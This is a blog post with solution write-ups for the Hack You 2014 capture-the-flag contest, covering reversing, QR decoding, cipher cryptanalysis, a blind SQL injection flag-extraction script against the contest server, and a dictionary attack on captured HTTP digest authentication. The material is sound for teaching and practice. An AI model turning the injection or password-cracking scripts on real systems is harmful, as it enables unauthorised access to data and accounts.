Today finished Hack you 2014 – individual
computer security competition by guys from Leet More and Hardc0de CTF teams.
Thank you guys for your interesting tasks.
Now it's time for writeups.
Reverse 100 – NotEasyTask
We have a .NET program. After decompiling with ILSpy, we need to listen host "127.0.0.1", i.e. localhost on port 31337 for our key :)
private static void Main(string[] args) { string hostname = "127.0.0.1"; int port = 31337; TcpClient tcpClient = new TcpClient(); try { Console.WriteLine("Connecting..."); tcpClient.Connect(hostname, port); } catch (Exception) { Console.WriteLine("Cannot connect!\nFail!"); return; } Socket client = tcpClient.Client; string text = "Super Secret Key"; string text2 = Program.read(); client.Send(Encoding.ASCII.GetBytes("CTF{")); string text3 = text; for (int i = 0; i < text3.Length; i++) { char x = text3[i]; client.Send(Encoding.ASCII.GetBytes(Program.search(x, text2))); } client.Send(Encoding.ASCII.GetBytes("}")); client.Close(); tcpClient.Close(); Console.WriteLine("Success!"); }
import BaseHTTPServer server_address = ('127.0.0.1', 31337) handler_class = BaseHTTPServer.BaseHTTPRequestHandler httpd = BaseHTTPServer.HTTPServer(server_address, handler_class) httpd.serve_forever()
CTF{7eb67b0bb4427e0b43b40b6042670b55}
PPC 100 – Trash
Archive with QR-codes images was given for first PPC task. It was needed to save all these chunks of decoded data into a single file. Using zbar python module for decoding QR codes I easily got the resulting file – zip archive with one more archive inside 92b57ac641cf0c84588b494de3ca0fbd.zip (I figured it out due to its binary content), but unfortunately something was wrong with resulting archive – it was corrupted. After some time, I came up with that the problem can be related to encoding. I tried to use the ISO-8859-1 encoding for data and it worked.
#!/usr/bin/python #-*- coding: utf8 -*- import zbar import Image def decode_qr_from_image(image_path): scanner = zbar.ImageScanner() image = Image.open(image_path).convert('L') width, height = image.size raw = image.tostring() zbar_image = zbar.Image(width, height, 'Y800', raw) scanner.scan(zbar_image) data = '' for symbol in zbar_image.symbols: if 'QRCODE' in str(symbol.type): data = symbol.data return data.decode('utf') def combine_decoded_qr_codes(): data = '' for i in xrange(1, 174): decoded_data = decode_qr_from_image('/hackyou2014/tasks/ppc100/%03d.png' % i) data += decoded_data[9:] # cut PART with open('123.zip', 'wb') as f: f.write(data.encode('ISO-8859-1'))
After unpickling the file using the next code:
import sys import pickle data = '' with open('data.pkl', 'r') as f: data = pickle.load(f) for d in data: for v in d: sys.stdout.write(v[0] * int(v[1])) sys.stdout.write('\n')
Crypto 100 – Easy one
Need to break a cipher and decrypt msg002.enc
We have unencrypted file msg001, encrypted files msg001.enc, msg002.enc, and a source code of encryptor:
#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { if (argc != 3) { printf("USAGE: %s INPUT OUTPUT\n", argv[0]); return 0; } FILE* input = fopen(argv[1], "rb"); FILE* output = fopen(argv[2], "wb"); if (!input || !output) { printf("Error\n"); return 0; } char k[] = "CENSORED"; char c, p, t = 0; int i = 0; while ((p = fgetc(input)) != EOF) { c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff; t = p; i++; fputc(c, output); } return 0; }
So using the next python code with encrypor function ported from C-code, it's simple to recover a key.
#!/usr/bin/python #-*- coding: utf8 -*- import string def encoder(input_data, key): k = key c = p = t = 0 i = 0 res = '' for p in input_data: c = (ord(p) + (ord(k[i % len(k)]) ^ t) + i * i) & 0xff t = ord(p) i += 1 res += chr(c) return res def find_key(input_data, need_out_data): key = '' for i in xrange(1,len(need_out_data)): n = need_out_data[0:i] for alpha in string.letters: if encoder(input_data, key + alpha)[0:i] == n: key += alpha break return key with open('msg001','rb') as f0: data = f0.read() with open('msg001.enc','rb') as f1: data_enc = f1.read() key = find_key(data, data_enc) print key
Now just need to find original text message.
Using the next function for brute original message:
def find_original_message(key, out_data): message = '' for i in xrange(1,len(out_data)): o = out_data[0:i] for alpha in [chr(c) for c in xrange(0, 255)]: if encoder(message + alpha, key)[0:i] == o: message += alpha break return message with open('msg002.enc','rb') as f2: data_enc2 = f2.read() print find_original_message('VeryLongKeyYouWillNeverGuess', data_enc2)
The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has samples of both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation.
The flag is CTF{6d5eba48508efb13dc87220879306619}
Web 100 – Voting
I've solved this task using only hex-encoded injection in ID. Lost a lot of time for brute-forcing and reading character by character table name, columns and flag. :(
def get_flag(): flag = '' for i in xrange(1,38): client = http_client() url = 'http://hackyou2014tasks.ctf.su:10080' for letter in '{}0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ': query = '(SELECT 100+(SELECT SUBSTR(flag,%s,1)="%s" FROM task.Flag LIMIT 1))' % (i, letter) post_data = { 'id':'0x' + str_to_hexstr(query), 'vote':'5', 'submit':'Submit' } response = client.request(url + '/index.php', post_data) if TRUE_RESPONSE in response: flag += letter break return flag
Network 100 – PCAP
We have a pcap file. After analyzing the requests and responses from pcap file it became clear that digest access authentication was used on the site.
After reading how digest access authentication works I've used the next code to crack password using dictionary file with passwords.
def brute_password(passwd): username = 'admin' realm = 'Private Area' password = passwd nonce = '1389094144' httpMethod = 'GET' requestedUri = '/auth.php' nonceCount = '00000001' clientNonce = '347278e387a2f030' qop = 'auth' user_data = md5.md5(username + ':' + realm + ':' + password).hexdigest() request_data = md5.md5(httpMethod + ':' + requestedUri).hexdigest() response = md5.md5(user_data + ':' + nonce + ':'+ nonceCount + ':'+ clientNonce + ':' + qop + ':' + request_data).hexdigest() if response == 'f86930f9e0466aeced34036bc2f7a346': return password return '' password_list = [] with open('passwords.txt','r') as f: password_list = f.read().split('\n') for p in password_list: res_password = brute_password(p) if res_password: print res_password break
Password cowboy123 has been successfully found.
After logging in the site with username admin and found password, we got the flag:
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}
After logging in the site with username admin and found password, we got the flag:
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}
Reverse 200 – Newbie calculations
Given a file, that will calculate a flag for you, but you have to wait.
After analyzing disassembled code I understood that to calculate and get a flag some slow functions with loops are used. These three functions performing the basic arithmetic operations of addition, subtraction and multiplication of two numbers. So I've optimized them.
As a result, I got the next code to calculate a flag:
// all flag chars are set to 1 for ( i = 0; i < 32; ++i ) flag_chars[i] = 1; flag_chars[32] = 0; // null terminator print_text("Your flag is:"); var0 = mul_ab(flag_chars, 1000000000); var1 = sub_ab(var0, 999999950); mul_ab(var1, 2); // 100 = d var2 = add_ab(&flag_chars[1], 5000000); var3 = sub_ab(var2, 6666666); var4 = add_ab(var3, 1666666); var5 = add_ab(var4, 45); var6 = mul_ab(var5, 2); add_ab(var6, 5); // 97 = a var7 = mul_ab(&flag_chars[2], 1000000000); var8 = sub_ab(var7, 999999950); var9 = mul_ab(var8, 2); add_ab(var9, 2); // 102 = f var10 = add_ab(&flag_chars[3], 55); var11 = sub_ab(var10, 3); var12 = add_ab(var11, 4); sub_ab(var12, 1); // 56 = 8 var13 = mul_ab(&flag_chars[4], 100000000); var14 = sub_ab(var13, 99999950); var15 = mul_ab(var14, 2); add_ab(var15, 2); // 102 = f var16 = sub_ab(&flag_chars[5], 1); var17 = mul_ab(var16, 1000000000); var18 = add_ab(var17, 55); sub_ab(var18, 3); // 52 = 4 var19 = mul_ab(&flag_chars[6], 1000000); var20 = sub_ab(var19, 999975); mul_ab(var20, 4); // 100 = d var21 = add_ab(&flag_chars[7], 55); var22 = sub_ab(var21, 33); var23 = add_ab(var22, 44); sub_ab(var23, 11); // 56 = 8 var24 = mul_ab(&flag_chars[8], 10); var25 = sub_ab(var24, 5); var26 = mul_ab(var25, 8); add_ab(var26, 9); // 49 = 1 var27 = add_ab(&flag_chars[9], 0); var28 = sub_ab(var27, 0); var29 = add_ab(var28, 11); var30 = sub_ab(var29, 11); add_ab(var30, 53); // 54 = 6 var31 = add_ab(&flag_chars[10], 49); var32 = sub_ab(var31, 2); var33 = add_ab(var32, 4); sub_ab(var33, 2); // 50 = 2 var34 = mul_ab(&flag_chars[11], 1000000); var35 = sub_ab(var34, 999999); var36 = mul_ab(var35, 4); add_ab(var36, 50); // 54 = 6 var37 = add_ab(&flag_chars[12], 1); var38 = add_ab(var37, 1); var39 = add_ab(var38, 1); var40 = add_ab(var39, 1); var41 = add_ab(var40, 1); var42 = add_ab(var41, 1); var43 = add_ab(var42, 10); add_ab(var43, 32); // 49 = 1 var44 = mul_ab(&flag_chars[13], 10); var45 = sub_ab(var44, 5); var46 = mul_ab(var45, 8); var47 = add_ab(var46, 9); add_ab(var47, 48); // 97 = a var48 = sub_ab(&flag_chars[14], 1); var49 = mul_ab(var48, 4000000000); var50 = add_ab(var49, 55); sub_ab(var50, 3); // 52 = 4 var51 = add_ab(&flag_chars[15], 1); var52 = add_ab(var51, 2); var53 = add_ab(var52, 3); var54 = add_ab(var53, 4); var55 = add_ab(var54, 5); var56 = add_ab(var55, 6); var57 = add_ab(var56, 7); add_ab(var57, 20); // 49 = 1 var58 = mul_ab(&flag_chars[16], 10); var59 = sub_ab(var58, 5); var60 = mul_ab(var59, 8); var61 = add_ab(var60, 9); add_ab(var61, 48); // 97 = a var62 = add_ab(&flag_chars[17], 7); var63 = add_ab(var62, 6); var64 = add_ab(var63, 5); var65 = add_ab(var64, 4); var66 = add_ab(var65, 3); var67 = add_ab(var66, 2); var68 = add_ab(var67, 1); add_ab(var68, 20); // 49 = 1 var69 = add_ab(&flag_chars[18], 7); var70 = add_ab(var69, 2); var71 = add_ab(var70, 4); var72 = add_ab(var71, 3); var73 = add_ab(var72, 6); var74 = add_ab(var73, 5); var75 = add_ab(var74, 1); add_ab(var75, 20); // 49 = 1 var76 = mul_ab(&flag_chars[19], 1000000); var77 = sub_ab(var76, 999999); var78 = mul_ab(var77, 4); var79 = add_ab(var78, 50); sub_ab(var79, 1); // 53 = 5 var80 = sub_ab(&flag_chars[20], 1); var81 = mul_ab(var80, -294967296); var82 = add_ab(var81, 49); sub_ab(var82, 1); // 48 = 0 var83 = sub_ab(&flag_chars[21], 1); var84 = mul_ab(var83, 1000000000); var85 = add_ab(var84, 54); var86 = sub_ab(var85, 1); var87 = add_ab(var86, 1000000000); sub_ab(var87, 1000000000); // 53 = 5 var88 = add_ab(&flag_chars[22], 49); var89 = sub_ab(var88, 1); var90 = add_ab(var89, 2); sub_ab(var90, 1); // 50 = 2 var91 = mul_ab(&flag_chars[23], 10); var92 = sub_ab(var91, 5); var93 = mul_ab(var92, 8); var94 = add_ab(var93, 9); add_ab(var94, 48); // 97 = a var95 = add_ab(&flag_chars[24], 1); var96 = add_ab(var95, 3); var97 = add_ab(var96, 3); var98 = add_ab(var97, 3); var99 = add_ab(var98, 6); var100 = add_ab(var99, 6); var101 = add_ab(var100, 6); add_ab(var101, 20); // 49 = 1 var102 = add_ab(&flag_chars[25], 55); var103 = sub_ab(var102, 33); var104 = add_ab(var103, 44); var105 = sub_ab(var104, 11); add_ab(var105, 42); // 98 = b add_ab(&flag_chars[26], flag_chars[25]); // flag_chars[25] = 98 // 99 = c add_ab(&flag_chars[27], flag_chars[12]); // flag_chars[12] = 49 // 50 = 2 var106 = flag_chars[27]; // 50 var107 = sub_ab(&flag_chars[28], 1); var108 = add_ab(var107, var106); sub_ab(var108, 1); // 49 = 1 var109 = flag_chars[23]; // 97 var110 = sub_ab(&flag_chars[29], 1); var111 = mul_ab(var110, 1000000); add_ab(var111, var109); // 97 = a var112 = flag_chars[27]; // 50 var113 = add_ab(&flag_chars[30], 1); mul_ab(var113, var112); // 100 = d add_ab(&flag_chars[31], flag_chars[30]); // flag_chars[30] = 100 // 101 = e print_func("CTF{"); for ( j = 0; j < 32; ++j ) print_func("%c"); // print flag print_func("}\n");
CTF{daf8f4d816261a41a115052a1bc21ade}
Do you like math?
Need to decrypt flag.wmv.out file. Encryptor file is provided.
Firstly need to get a key.
Knowing the signature of WMV file (ASF magic number): 30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C and its encrypted equivalent from flag.wmv.out it's not hard to recover the key used for encryption.
Using the next formulas:
encoded_header_matrix = original_header_matrix ⋅ key_matrix
key_matrix = original_header_matrix-1 ⋅ encoded_header_matrix
we'll get the next code to find a key:
import numpy as np data = '' with open(filename, 'rb') as f: data = f.read() length = unpack('!I', data[0:4]) encoded_header_words = [unpack('!H', data[i:i+2])[0] for i in xrange(4, 4 + 32, 2)] encoded_header_matrix = [encoded_header_words[i:i+4] for i in xrange(0, 16, 4)] print 'encoded_header_matrix =', encoded_header_matrix wmv_magic_numbers = '30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C' original_header_matrix = Str2matrix(wmv_magic_numbers.replace(' ', '').decode('hex')) print 'original_header_matrix =', original_header_matrix print 'key_matrix = ', np.dot(np.matrix(original_header_matrix).I, np.matrix(encoded_header_matrix))
After that we can recover original data.
According to a formula:
original_data_matrix = encoded_data_matrix ⋅ key_matrix-1
the code for recovering original wmv file is:
def data_to_matrix(data, offset): data_words = [unpack('!H', data[i:i+2])[0] for i in xrange(4 + 32 * offset, 4 + 32 * offset + 32, 2)] matrix = [data_words[i:i+4] for i in xrange(0, 16, 4)] return matrix original_data = '' length_value = length[0] print length_value for i in xrange(0, length_value / 16): original_data_matrix = np.dot(np.matrix(data_to_matrix(data, i)), np.matrix(key_matrix).I) out_data = ''.join([chr(int(c)) for c in np.array(np.rint(original_data_matrix)).reshape(-1)])
original_data += out_data with open(filename + '.dec.wmv', 'wb') as f: f.write(original_data)
Yeah :)
The flag: CTF{b699a72e2692d16f65ec9626055aa740}
No comments:
Post a Comment